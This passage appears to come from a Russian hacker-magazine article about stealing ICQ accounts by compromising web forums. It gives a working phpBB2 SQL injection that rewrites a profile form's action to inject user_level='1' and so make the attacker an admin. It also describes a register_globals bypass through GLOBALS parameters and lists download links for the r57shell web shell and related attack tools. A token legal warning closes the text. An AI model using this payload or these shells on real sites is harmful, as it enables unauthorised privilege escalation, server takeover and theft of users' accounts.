Куда уходят Аси

Маг (wapp.ru, icq 878477)

Хакер, номер #087, стр. 087-098-4

<form action="profile.php" method="post">,

затем меняем ее на

<form action="victim.ru/phpBB2/profile.php?signature_bbcode_uid=1',user_level='1" method="post">

Как видно, здесь имеет место простая sql-инъекция. Естественно, это будет работать при отключенном magic_quotes_gpc :) Еще иногда бывает, что в php отключена директива register_globals. Выход из этого есть, только работает он на php<=4.4.0. Тебе надо передавать нашу переменную всего лишь в формате "?GLOBALS[signature_bbcode_uid]="

WWW

Используемые скрипты:

r57shell: rst.void.ru/download/r57shell.txt

r57pws: rst.void.ru/download/r57pws.txt

Файл-Менеджер, удобный в инклуде: wapp.ru/dir.txt

INFO

Научиться использовать все вышеперечисленные уязвимости можно на securitylab.ru. Просто юзай поиск по нужному тебе скрипту и читай комментарии пользователей, как правило, разъясняющие все подробности багов.

WARNING

Никогда не используйте одинаковые пароли для баз данных и фтп!... И запомни! Никогда не повторяй проделанного в статье - уголовно наказуемо!